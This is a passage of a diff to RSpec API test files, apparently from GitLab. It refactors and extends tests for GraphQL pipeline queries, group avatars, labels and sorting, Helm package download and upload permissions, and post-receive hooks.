let_it_be(:issue) { design.issue }
let_it_be(:second_design, reload: true) { create(:design, :with_smaller_image_versions, issue: issue, versions_count: 1) }
let_it_be(:deleted_design) { create(:design, :with_versions, issue: issue, deleted: true, versions_count: 1) }
+
let(:all_versions) { issue.design_versions.ordered.reverse }
let(:design_query) do
<<~NODE
diff --git a/spec/requests/api/graphql/project/jira_service_spec.rb b/spec/requests/api/graphql/project/jira_service_spec.rb
index 905a669bf0d..64e9e04ae44 100644
--- a/spec/requests/api/graphql/project/jira_service_spec.rb
+++ b/spec/requests/api/graphql/project/jira_service_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'query Jira service' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
- let_it_be(:jira_service) { create(:jira_service, project: project) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project) }
let(:query) do
%(
diff --git a/spec/requests/api/graphql/project/pipeline_spec.rb b/spec/requests/api/graphql/project/pipeline_spec.rb
index 0a5bcc7a965..cb6755640a9 100644
--- a/spec/requests/api/graphql/project/pipeline_spec.rb
+++ b/spec/requests/api/graphql/project/pipeline_spec.rb
@@ -8,9 +8,9 @@ RSpec.describe 'getting pipeline information nested in a project' do
let_it_be(:project) { create(:project, :repository, :public) }
let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
let_it_be(:current_user) { create(:user) }
- let_it_be(:build_job) { create(:ci_build, :trace_with_sections, name: 'build-a', pipeline: pipeline) }
- let_it_be(:failed_build) { create(:ci_build, :failed, name: 'failed-build', pipeline: pipeline) }
- let_it_be(:bridge) { create(:ci_bridge, name: 'ci-bridge-example', pipeline: pipeline) }
+ let_it_be(:build_job) { create(:ci_build, :trace_with_sections, name: 'build-a', pipeline: pipeline, stage_idx: 0, stage: 'build') }
+ let_it_be(:failed_build) { create(:ci_build, :failed, name: 'failed-build', pipeline: pipeline, stage_idx: 0, stage: 'build') }
+ let_it_be(:bridge) { create(:ci_bridge, name: 'ci-bridge-example', pipeline: pipeline, stage_idx: 0, stage: 'build') }
let(:path) { %i[project pipeline] }
let(:pipeline_graphql_data) { graphql_data_at(*path) }
@@ -79,16 +79,6 @@ RSpec.describe 'getting pipeline information nested in a project' do
end
end
- private
-
- def build_query_to_find_pipeline_shas(*pipelines)
- pipeline_fields = pipelines.map.each_with_index do |pipeline, idx|
- "pipeline#{idx}: pipeline(iid: \"#{pipeline.iid}\") { sha }"
- end.join(' ')
-
- graphql_query_for('project', { 'fullPath' => project.full_path }, pipeline_fields)
- end
-
context 'when enough data is requested' do
let(:fields) do
query_graphql_field(:jobs, nil,
@@ -282,4 +272,69 @@ RSpec.describe 'getting pipeline information nested in a project' do
end
end
end
+
+ context 'N+1 queries on stages jobs' do
+ let(:depth) { 5 }
+ let(:fields) do
+ <<~FIELDS
+ stages {
+ nodes {
+ name
+ groups {
+ nodes {
+ name
+ jobs {
+ nodes {
+ name
+ needs {
+ nodes {
+ name
+ }
+ }
+ status: detailedStatus {
+ tooltip
+ hasDetails
+ detailsPath
+ action {
+ buttonTitle
+ path
+ title
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ FIELDS
+ end
+
+ it 'does not generate N+1 queries', :request_store, :use_sql_query_cache do
+ # warm up
+ post_graphql(query, current_user: current_user)
+
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ post_graphql(query, current_user: current_user)
+ end
+
+ create(:ci_build, name: 'test-a', pipeline: pipeline, stage_idx: 1, stage: 'test')
+ create(:ci_build, name: 'test-b', pipeline: pipeline, stage_idx: 1, stage: 'test')
+ create(:ci_build, name: 'deploy-a', pipeline: pipeline, stage_idx: 2, stage: 'deploy')
+
+ expect do
+ post_graphql(query, current_user: current_user)
+ end.not_to exceed_all_query_limit(control)
+ end
+ end
+
+ private
+
+ def build_query_to_find_pipeline_shas(*pipelines)
+ pipeline_fields = pipelines.map.each_with_index do |pipeline, idx|
+ "pipeline#{idx}: pipeline(iid: \"#{pipeline.iid}\") { sha }"
+ end.join(' ')
+
+ graphql_query_for('project', { 'fullPath' => project.full_path }, pipeline_fields)
+ end
end
diff --git a/spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb b/spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb
index 7d157563f5f..39a68d98d84 100644
--- a/spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb
+++ b/spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'rendering project pipeline statistics' do
include GraphqlHelpers
let_it_be(:project) { create(:project) }
+
let(:user) { create(:user) }
let(:fields) do
diff --git a/spec/requests/api/graphql/project_query_spec.rb b/spec/requests/api/graphql/project_query_spec.rb
index 54375d4de1d..e44a7efb354 100644
--- a/spec/requests/api/graphql/project_query_spec.rb
+++ b/spec/requests/api/graphql/project_query_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'getting project information' do
let_it_be(:group) { create(:group) }
let_it_be(:project, reload: true) { create(:project, :repository, group: group) }
let_it_be(:current_user) { create(:user) }
+
let(:project_fields) { all_graphql_fields_for('project'.to_s.classify, max_depth: 1) }
let(:query) do
diff --git a/spec/requests/api/graphql/query_spec.rb b/spec/requests/api/graphql/query_spec.rb
index 6bd0703c121..ecc7fffaef7 100644
--- a/spec/requests/api/graphql/query_spec.rb
+++ b/spec/requests/api/graphql/query_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Query' do
let_it_be(:project) { create(:project) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:developer) { create(:user) }
+
let(:current_user) { developer }
describe '.designManagement' do
@@ -15,6 +16,7 @@ RSpec.describe 'Query' do
let_it_be(:version) { create(:design_version, issue: issue) }
let_it_be(:design) { version.designs.first }
+
let(:query_result) { graphql_data.dig(*path) }
let(:query) { graphql_query_for(:design_management, nil, dm_fields) }
diff --git a/spec/requests/api/graphql/user/starred_projects_query_spec.rb b/spec/requests/api/graphql/user/starred_projects_query_spec.rb
index 6cb02068f2a..a8c087d1fbf 100644
--- a/spec/requests/api/graphql/user/starred_projects_query_spec.rb
+++ b/spec/requests/api/graphql/user/starred_projects_query_spec.rb
@@ -60,6 +60,7 @@ RSpec.describe 'Getting starredProjects of the user' do
context 'the current user is a member of a private project the user starred' do
let_it_be(:other_user) { create(:user) }
+
let(:current_user) { other_user }
before do
diff --git a/spec/requests/api/graphql/user_query_spec.rb b/spec/requests/api/graphql/user_query_spec.rb
index 60520906e87..59b805bb25b 100644
--- a/spec/requests/api/graphql/user_query_spec.rb
+++ b/spec/requests/api/graphql/user_query_spec.rb
@@ -402,6 +402,7 @@ RSpec.describe 'getting user information' do
context 'we request the groupMemberships' do
let_it_be(:membership_a) { create(:group_member, user: user) }
+
let(:group_memberships) { graphql_data_at(:user, :group_memberships, :nodes) }
let(:user_fields) { 'groupMemberships { nodes { id } }' }
@@ -424,6 +425,7 @@ RSpec.describe 'getting user information' do
context 'we request the projectMemberships' do
let_it_be(:membership_a) { create(:project_member, user: user) }
+
let(:project_memberships) { graphql_data_at(:user, :project_memberships, :nodes) }
let(:user_fields) { 'projectMemberships { nodes { id } }' }
diff --git a/spec/requests/api/graphql_spec.rb b/spec/requests/api/graphql_spec.rb
index 463fca43cb5..7b081bb7568 100644
--- a/spec/requests/api/graphql_spec.rb
+++ b/spec/requests/api/graphql_spec.rb
@@ -315,6 +315,7 @@ RSpec.describe 'GraphQL' do
describe 'resolver complexity' do
let_it_be(:project) { create(:project, :public) }
+
let(:query) do
graphql_query_for(
'project',
@@ -350,6 +351,7 @@ RSpec.describe 'GraphQL' do
describe 'complexity limits' do
let_it_be(:project) { create(:project, :public) }
+
let!(:user) { create(:user) }
let(:query_fields) do
diff --git a/spec/requests/api/group_avatar_spec.rb b/spec/requests/api/group_avatar_spec.rb
index be5cfbc234c..50379d29b09 100644
--- a/spec/requests/api/group_avatar_spec.rb
+++ b/spec/requests/api/group_avatar_spec.rb
@@ -4,17 +4,35 @@ require 'spec_helper'
RSpec.describe API::GroupAvatar do
def avatar_path(group)
- "/groups/#{group.id}/avatar"
+ "/groups/#{ERB::Util.url_encode(group.full_path)}/avatar"
end
describe 'GET /groups/:id/avatar' do
context 'when the group is public' do
- it 'retrieves the avatar successfully' do
- group = create(:group, :public, :with_avatar)
+ let(:group) { create(:group, :public, :with_avatar) }
+ it 'retrieves the avatar successfully' do
get api(avatar_path(group))
expect(response).to have_gitlab_http_status(:ok)
+ expect(response.headers['Content-Disposition'])
+ .to eq(%(attachment; filename="dk.png"; filename*=UTF-8''dk.png))
+ end
+
+ context 'when the avatar is in the object storage' do
+ before do
+ stub_uploads_object_storage(AvatarUploader)
+
+ group.avatar.migrate!(ObjectStorage::Store::REMOTE)
+ end
+
+ it 'redirects to the file in the object storage' do
+ get api(avatar_path(group))
+
+ expect(response).to have_gitlab_http_status(:found)
+ expect(response.headers['Content-Disposition'])
+ .to eq(%(attachment; filename="dk.png"; filename*=UTF-8''dk.png))
+ end
end
context 'when the group does not have avatar' do
@@ -24,6 +42,18 @@ RSpec.describe API::GroupAvatar do
get api(avatar_path(group))
expect(response).to have_gitlab_http_status(:not_found)
+ expect(response.body)
+ .to eq(%({"message":"404 Avatar Not Found"}))
+ end
+ end
+
+ context 'when the group is a subgroup' do
+ it 'returns :ok' do
+ group = create(:group, :nested, :public, :with_avatar, name: 'g1.1')
+
+ get api(avatar_path(group))
+
+ expect(response).to have_gitlab_http_status(:ok)
end
end
end
diff --git a/spec/requests/api/group_import_spec.rb b/spec/requests/api/group_import_spec.rb
index f632e49bf3a..efad6334518 100644
--- a/spec/requests/api/group_import_spec.rb
+++ b/spec/requests/api/group_import_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe API::GroupImport do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
+
let(:path) { '/groups/import' }
let(:file) { File.join('spec', 'fixtures', 'group_export.tar.gz') }
let(:export_path) { "#{Dir.tmpdir}/group_export_spec" }
diff --git a/spec/requests/api/group_labels_spec.rb b/spec/requests/api/group_labels_spec.rb
index c677e68b285..11738e3cba8 100644
--- a/spec/requests/api/group_labels_spec.rb
+++ b/spec/requests/api/group_labels_spec.rb
@@ -29,6 +29,32 @@ RSpec.describe API::GroupLabels do
let(:expected_labels) { [group_label1.name] }
it_behaves_like 'fetches labels'
+
+ context 'and is subscribed' do
+ before do
+ group_label1.subscribe(user)
+ end
+
+ it 'returns true' do
+ get api("/groups/#{group.id}/labels?search=#{group_label1.name}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response[0]['subscribed']).to be true
+ end
+ end
+
+ context 'and is unsubscribed' do
+ before do
+ group_label1.unsubscribe(user)
+ end
+
+ it 'returns false' do
+ get api("/groups/#{group.id}/labels?search=#{group_label1.name}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response[0]['subscribed']).to be false
+ end
+ end
end
context 'when the with_counts parameter is set' do
diff --git a/spec/requests/api/group_milestones_spec.rb b/spec/requests/api/group_milestones_spec.rb
index e3e0164e5a7..2312d35c815 100644
--- a/spec/requests/api/group_milestones_spec.rb
+++ b/spec/requests/api/group_milestones_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe API::GroupMilestones do
let_it_be(:group_member) { create(:group_member, group: group, user: user) }
let_it_be(:closed_milestone) { create(:closed_milestone, group: group, title: 'version1', description: 'closed milestone') }
let_it_be(:milestone) { create(:milestone, group: group, title: 'version2', description: 'open milestone') }
+
let(:route) { "/groups/#{group.id}/milestones" }
it_behaves_like 'group and project milestones', "/groups/:id/milestones"
diff --git a/spec/requests/api/group_packages_spec.rb b/spec/requests/api/group_packages_spec.rb
index 792aa2c1f20..a2b0b35c76a 100644
--- a/spec/requests/api/group_packages_spec.rb
+++ b/spec/requests/api/group_packages_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe API::GroupPackages do
let_it_be(:group) { create(:group, :public) }
let_it_be(:project) { create(:project, :public, namespace: group, name: 'project A') }
let_it_be(:user) { create(:user) }
+
let(:params) { {} }
subject { get api(url), params: params }
@@ -17,6 +18,7 @@ RSpec.describe API::GroupPackages do
context 'with sorting' do
let_it_be(:package1) { create(:npm_package, project: project, version: '3.1.0', name: "@#{project.root_namespace.path}/foo1") }
let_it_be(:package2) { create(:nuget_package, project: project, version: '2.0.4') }
+
let(:package3) { create(:maven_package, project: project, version: '1.1.1', name: 'zzz') }
before do
diff --git a/spec/requests/api/groups_spec.rb b/spec/requests/api/groups_spec.rb
index 0a47b93773b..ad7a2e3b1fb 100644
--- a/spec/requests/api/groups_spec.rb
+++ b/spec/requests/api/groups_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe API::Groups do
let_it_be(:project3) { create(:project, namespace: group1, path: 'test', visibility_level: Gitlab::VisibilityLevel::PRIVATE) }
let_it_be(:archived_project) { create(:project, namespace: group1, archived: true) }
- before do
+ before_all do
group1.add_owner(user1)
group2.add_owner(user2)
end
@@ -255,13 +255,14 @@ RSpec.describe API::Groups do
end
context "when using sorting" do
- let(:group3) { create(:group, name: "a#{group1.name}", path: "z#{group1.path}") }
- let(:group4) { create(:group, name: "same-name", path: "y#{group1.path}") }
- let(:group5) { create(:group, name: "same-name") }
+ let_it_be(:group3) { create(:group, name: "a#{group1.name}", path: "z#{group1.path}") }
+ let_it_be(:group4) { create(:group, name: "same-name", path: "y#{group1.path}") }
+ let_it_be(:group5) { create(:group, name: "same-name") }
+
let(:response_groups) { json_response.map { |group| group['name'] } }
let(:response_groups_ids) { json_response.map { |group| group['id'] } }
- before do
+ before_all do
group3.add_owner(user1)
group4.add_owner(user1)
group5.add_owner(user1)
@@ -330,6 +331,44 @@ RSpec.describe API::Groups do
expect(response_groups_ids).to eq(Group.select { |group| group['name'] == 'same-name' }.map { |group| group['id'] }.sort)
end
+ context 'when searching with similarity ordering', :aggregate_failures do
+ let_it_be(:group6) { create(:group, name: 'same-name subgroup', parent: group4) }
+ let_it_be(:group7) { create(:group, name: 'same-name parent') }
+
+ let(:params) { { order_by: 'similarity', search: 'same-name' } }
+
+ before_all do
+ group6.add_owner(user1)
+ group7.add_owner(user1)
+ end
+
+ subject { get api('/groups', user1), params: params }
+
+ it 'sorts top level groups before subgroups with exact matches first' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response.length).to eq(4)
+
+ expect(response_groups).to eq(['same-name', 'same-name parent', 'same-name subgroup', 'same-name'])
+ end
+
+ context 'when `search` parameter is not given' do
+ let(:params) { { order_by: 'similarity' } }
+
+ it 'sorts items ordered by name' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response.length).to eq(6)
+
+ expect(response_groups).to eq(groups_visible_to_user(user1).order(:name).pluck(:name))
+ end
+ end
+ end
+
def groups_visible_to_user(user)
Group.where(id: user.authorized_groups.select(:id).reorder(nil))
end
@@ -451,6 +490,7 @@ RSpec.describe API::Groups do
expect(json_response['visibility']).to eq(Gitlab::VisibilityLevel.string_level(group1.visibility_level))
expect(json_response['avatar_url']).to eq(group1.avatar_url(only_path: false))
expect(json_response['share_with_group_lock']).to eq(group1.share_with_group_lock)
+ expect(json_response['prevent_sharing_groups_outside_hierarchy']).to eq(group2.namespace_settings.prevent_sharing_groups_outside_hierarchy)
expect(json_response['require_two_factor_authentication']).to eq(group1.require_two_factor_authentication)
expect(json_response['two_factor_grace_period']).to eq(group1.two_factor_grace_period)
expect(json_response['auto_devops_enabled']).to eq(group1.auto_devops_enabled)
@@ -661,6 +701,7 @@ RSpec.describe API::Groups do
project_creation_level: "noone",
subgroup_creation_level: "maintainer",
default_branch_protection: ::Gitlab::Access::MAINTAINER_PROJECT_ACCESS,
+ prevent_sharing_groups_outside_hierarchy: true,
avatar: fixture_file_upload(file_path)
}
@@ -685,6 +726,7 @@ RSpec.describe API::Groups do
expect(json_response['shared_projects'].length).to eq(0)
expect(json_response['default_branch_protection']).to eq(::Gitlab::Access::MAINTAINER_PROJECT_ACCESS)
expect(json_response['avatar_url']).to end_with('dk.png')
+ expect(json_response['prevent_sharing_groups_outside_hierarchy']).to eq(true)
end
context 'updating the `default_branch_protection` attribute' do
@@ -755,6 +797,15 @@ RSpec.describe API::Groups do
expect(response).to have_gitlab_http_status(:bad_request)
expect(json_response['message']['visibility_level']).to contain_exactly('private is not allowed since there are sub-groups with higher visibility.')
end
+
+ it 'does not update prevent_sharing_groups_outside_hierarchy' do
+ put api("/groups/#{subgroup.id}", user3), params: { description: 'it works', prevent_sharing_groups_outside_hierarchy: true }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.keys).not_to include('prevent_sharing_groups_outside_hierarchy')
+ expect(subgroup.reload.prevent_sharing_groups_outside_hierarchy).to eq(false)
+ expect(json_response['description']).to eq('it works')
+ end
end
end
@@ -1381,6 +1432,7 @@ RSpec.describe API::Groups do
let_it_be(:sub_child_group1) { create(:group, parent: child_group1) }
let_it_be(:child_group2) { create(:group, :private, parent: group2) }
let_it_be(:sub_child_group2) { create(:group, :private, parent: child_group2) }
+
let(:response_groups) { json_response.map { |group| group['name'] } }
context 'when unauthenticated' do
diff --git a/spec/requests/api/helm_packages_spec.rb b/spec/requests/api/helm_packages_spec.rb
index 5871c0a5d5b..08b4489a6e3 100644
--- a/spec/requests/api/helm_packages_spec.rb
+++ b/spec/requests/api/helm_packages_spec.rb
@@ -9,55 +9,171 @@ RSpec.describe API::HelmPackages do
let_it_be_with_reload(:project) { create(:project, :public) }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
+ let_it_be(:package) { create(:helm_package, project: project) }
- describe 'GET /api/v4/projects/:id/packages/helm/:channel/charts/:file_name.tgz' do
- let_it_be(:package) { create(:helm_package, project: project) }
-
- let(:channel) { package.package_files.first.helm_channel }
+ describe 'GET /api/v4/projects/:id/packages/helm/:channel/index.yaml' do
+ it_behaves_like 'handling helm chart index requests' do
+ let(:url) { "/projects/#{project.id}/packages/helm/#{package.package_files.first.helm_channel}/index.yaml" }
+ end
+ end
- let(:url) { "/projects/#{project.id}/packages/helm/#{channel}/charts/#{package.name}-#{package.version}.tgz" }
+ describe 'GET /api/v4/projects/:id/packages/helm/:channel/charts/:file_name.tgz' do
+ let(:url) { "/projects/#{project.id}/packages/helm/#{package.package_files.first.helm_channel}/charts/#{package.name}-#{package.version}.tgz" }
- subject { get api(url) }
+ subject { get api(url), headers: headers }
context 'with valid project' do
- where(:visibility, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- :public | :developer | true | true | 'process helm download content request' | :success
- :public | :guest | true | true | 'process helm download content request' | :success
- :public | :developer | true | false | 'rejects helm packages access' | :unauthorized
- :public | :guest | true | false | 'rejects helm packages access' | :unauthorized
- :public | :developer | false | true | 'process helm download content request' | :success
- :public | :guest | false | true | 'process helm download content request' | :success
- :public | :developer | false | false | 'rejects helm packages access' | :unauthorized
- :public | :guest | false | false | 'rejects helm packages access' | :unauthorized
- :public | :anonymous | false | true | 'process helm download content request' | :success
- :private | :developer | true | true | 'process helm download content request' | :success
- :private | :guest | true | true | 'rejects helm packages access' | :forbidden
- :private | :developer | true | false | 'rejects helm packages access' | :unauthorized
- :private | :guest | true | false | 'rejects helm packages access' | :unauthorized
- :private | :developer | false | true | 'rejects helm packages access' | :not_found
- :private | :guest | false | true | 'rejects helm packages access' | :not_found
- :private | :developer | false | false | 'rejects helm packages access' | :unauthorized
- :private | :guest | false | false | 'rejects helm packages access' | :unauthorized
- :private | :anonymous | false | true | 'rejects helm packages access' | :unauthorized
+ where(:visibility, :user_role, :shared_examples_name, :expected_status) do
+ :public | :guest | 'process helm download content request' | :success
+ :public | :not_a_member | 'process helm download content request' | :success
+ :public | :anonymous | 'process helm download content request' | :success
+ :private | :reporter | 'process helm download content request' | :success
+ :private | :guest | 'rejects helm packages access' | :forbidden
+ :private | :not_a_member | 'rejects helm packages access' | :not_found
+ :private | :anonymous | 'rejects helm packages access' | :unauthorized
end
with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, personal_access_token.token) }
let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
- subject { get api(url), headers: headers }
-
before do
project.update!(visibility: visibility.to_s)
end
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status]
end
end
+ context 'when an invalid token is passed' do
+ let(:headers) { basic_auth_header(user.username, 'wrong') }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+
it_behaves_like 'deploy token for package GET requests'
+ end
+
+ describe 'POST /api/v4/projects/:id/packages/helm/api/:channel/charts/authorize' do
+ include_context 'workhorse headers'
+
+ let(:channel) { 'stable' }
+ let(:url) { "/projects/#{project.id}/packages/helm/api/#{channel}/charts/authorize" }
+ let(:headers) { {} }
+
+ subject { post api(url), headers: headers }
+
+ context 'with valid project' do
+ where(:visibility_level, :user_role, :shared_examples_name, :expected_status) do
+ :public | :developer | 'process helm workhorse authorization' | :success
+ :public | :reporter | 'rejects helm packages access' | :forbidden
+ :public | :not_a_member | 'rejects helm packages access' | :forbidden
+ :public | :anonymous | 'rejects helm packages access' | :unauthorized
+ :private | :developer | 'process helm workhorse authorization' | :success
+ :private | :reporter | 'rejects helm packages access' | :forbidden
+ :private | :not_a_member | 'rejects helm packages access' | :not_found
+ :private | :anonymous | 'rejects helm packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, personal_access_token.token) }
+ let(:headers) { user_headers.merge(workhorse_headers) }
+
+ before do
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status]
+ end
+ end
+
+ context 'when an invalid token is passed' do
+ let(:headers) { basic_auth_header(user.username, 'wrong') }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+
+ it_behaves_like 'deploy token for package uploads'
+
+ it_behaves_like 'job token for package uploads', authorize_endpoint: true, accept_invalid_username: true do
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
+ end
it_behaves_like 'rejects helm access with unknown project id'
end
+
+ describe 'POST /api/v4/projects/:id/packages/helm/api/:channel/charts' do
+ include_context 'workhorse headers'
+
+ let_it_be(:file_name) { 'package.tgz' }
+
+ let(:channel) { 'stable' }
+ let(:url) { "/projects/#{project.id}/packages/helm/api/#{channel}/charts" }
+ let(:headers) { {} }
+ let(:params) { { chart: temp_file(file_name) } }
+ let(:file_key) { :chart }
+ let(:send_rewritten_field) { true }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
+
+ subject do
+ workhorse_finalize(
+ api(url),
+ method: :post,
+ file_key: file_key,
+ params: params,
+ headers: headers,
+ send_rewritten_field: send_rewritten_field
+ )
+ end
+
+ context 'with valid project' do
+ where(:visibility_level, :user_role, :shared_examples_name, :expected_status) do
+ :public | :developer | 'process helm upload' | :created
+ :public | :reporter | 'rejects helm packages access' | :forbidden
+ :public | :not_a_member | 'rejects helm packages access' | :forbidden
+ :public | :anonymous | 'rejects helm packages access' | :unauthorized
+ :private | :developer | 'process helm upload' | :created
+ :private | :guest | 'rejects helm packages access' | :forbidden
+ :private | :not_a_member | 'rejects helm packages access' | :not_found
+ :private | :anonymous | 'rejects helm packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, personal_access_token.token) }
+ let(:headers) { user_headers.merge(workhorse_headers) }
+
+ before do
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status]
+ end
+ end
+
+ context 'when an invalid token is passed' do
+ let(:headers) { basic_auth_header(user.username, 'wrong') }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+
+ it_behaves_like 'deploy token for package uploads'
+
+ it_behaves_like 'job token for package uploads', accept_invalid_username: true do
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
+ end
+
+ it_behaves_like 'rejects helm access with unknown project id'
+
+ context 'file size above maximum limit' do
+ let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token).merge(workhorse_headers) }
+
+ before do
+ allow_next_instance_of(UploadedFile) do |uploaded_file|
+ allow(uploaded_file).to receive(:size).and_return(project.actual_limits.helm_max_file_size + 1)
+ end
+ end
+
+ it_behaves_like 'returning response status', :bad_request
+ end
+ end
end
diff --git a/spec/requests/api/helpers_spec.rb b/spec/requests/api/helpers_spec.rb
index ce0018d6d0d..8961f3177b6 100644
--- a/spec/requests/api/helpers_spec.rb
+++ b/spec/requests/api/helpers_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe API::Helpers do
include TermsHelper
let_it_be(:user, reload: true) { create(:user) }
+
let(:admin) { create(:admin) }
let(:key) { create(:key, user: user) }
diff --git a/spec/requests/api/import_bitbucket_server_spec.rb b/spec/requests/api/import_bitbucket_server_spec.rb
index 972b21ad2e0..2225f737f36 100644
--- a/spec/requests/api/import_bitbucket_server_spec.rb
+++ b/spec/requests/api/import_bitbucket_server_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe API::ImportBitbucketServer do
let(:base_uri) { "https://test:7990" }
- let(:user) { create(:user, bio: 'test') }
+ let(:user) { create(:user) }
let(:token) { "asdasd12345" }
let(:secret) { "sekrettt" }
let(:project_key) { 'TES' }
@@ -14,6 +14,7 @@ RSpec.describe API::ImportBitbucketServer do
describe "POST /import/bitbucket_server" do
context 'with no optional parameters' do
let_it_be(:project) { create(:project) }
+
let(:client) { double(BitbucketServer::Client) }
before do
@@ -48,6 +49,7 @@ RSpec.describe API::ImportBitbucketServer do
context 'with a new project name' do
let_it_be(:project) { create(:project, name: 'new-name') }
+
let(:client) { instance_double(BitbucketServer::Client) }
before do
@@ -83,6 +85,7 @@ RSpec.describe API::ImportBitbucketServer do
context 'with an invalid URL' do
let_it_be(:project) { create(:project, name: 'new-name') }
+
let(:client) { instance_double(BitbucketServer::Client) }
before do
diff --git a/spec/requests/api/internal/base_spec.rb b/spec/requests/api/internal/base_spec.rb
index 631698554f9..49756df61c6 100644
--- a/spec/requests/api/internal/base_spec.rb
+++ b/spec/requests/api/internal/base_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe API::Internal::Base do
let_it_be(:project, reload: true) { create(:project, :repository, :wiki_repo) }
let_it_be(:personal_snippet) { create(:personal_snippet, :repository, author: user) }
let_it_be(:project_snippet) { create(:project_snippet, :repository, author: user, project: project) }
+
let(:key) { create(:key, user: user) }
let(:secret_token) { Gitlab::Shell.secret_token }
let(:gl_repository) { "project-#{project.id}" }
@@ -1176,59 +1177,68 @@ RSpec.describe API::Internal::Base do
allow_any_instance_of(Gitlab::Identifier).to receive(:identify).and_return(user)
end
- context 'with Project' do
- it 'executes PostReceiveService' do
- message = <<~MESSAGE.strip
- To create a merge request for #{branch_name}, visit:
- http://#{Gitlab.config.gitlab.host}/#{project.full_path}/-/merge_requests/new?merge_request%5Bsource_branch%5D=#{branch_name}
- MESSAGE
+ shared_examples 'runs post-receive hooks' do
+ let(:gl_repository) { container.repository.gl_repository }
+ let(:messages) { [] }
+ it 'executes PostReceiveService' do
subject
+ expect(response).to have_gitlab_http_status(:ok)
expect(json_response).to eq({
- 'messages' => [{ 'message' => message, 'type' => 'basic' }],
+ 'messages' => messages,
'reference_counter_decreased' => true
})
end
+ it 'tries to notify that the container has moved' do
+ expect(Gitlab::Checks::ContainerMoved).to receive(:fetch_message).with(user, container.repository)
+
+ subject
+ end
+
it_behaves_like 'storing arguments in the application context' do
- let(:expected_params) { { user: user.username, project: project.full_path } }
+ let(:expected_params) { expected_context }
end
end
- context 'with PersonalSnippet' do
- let(:gl_repository) { "snippet-#{personal_snippet.id}" }
-
- it 'executes PostReceiveService' do
- subject
+ context 'with Project' do
+ it_behaves_like 'runs post-receive hooks' do
+ let(:container) { project }
+ let(:expected_context) { { user: user.username, project: project.full_path } }
- expect(json_response).to eq({
- 'messages' => [],
- 'reference_counter_decreased' => true
- })
+ let(:messages) do
+ [
+ {
+ 'message' => <<~MESSAGE.strip,
+ To create a merge request for #{branch_name}, visit:
+ http://#{Gitlab.config.gitlab.host}/#{project.full_path}/-/merge_requests/new?merge_request%5Bsource_branch%5D=#{branch_name}
+ MESSAGE
+ 'type' => 'basic'
+ }
+ ]
+ end
end
+ end
- it_behaves_like 'storing arguments in the application context' do
- let(:expected_params) { { user: key.user.username } }
- let(:gl_repository) { "snippet-#{personal_snippet.id}" }
+ context 'with PersonalSnippet' do
+ it_behaves_like 'runs post-receive hooks' do
+ let(:container) { personal_snippet }
+ let(:expected_context) { { user: key.user.username } }
end
end
context 'with ProjectSnippet' do
- let(:gl_repository) { "snippet-#{project_snippet.id}" }
-
- it 'executes PostReceiveService' do
- subject
-
- expect(json_response).to eq({
- 'messages' => [],
- 'reference_counter_decreased' => true
- })
+ it_behaves_like 'runs post-receive hooks' do
+ let(:container) { project_snippet }
+ let(:expected_context) { { user: key.user.username, project: project_snippet.project.full_path } }
end
+ end
- it_behaves_like 'storing arguments in the application context' do
- let(:expected_params) { { user: key.user.username, project: project_snippet.project.full_path } }
- let(:gl_repository) { "snippet-#{project_snippet.id}" }
+ context 'with ProjectWiki' do
+ it_behaves_like 'runs post-receive hooks' do
+ let(:container) { project.wiki }
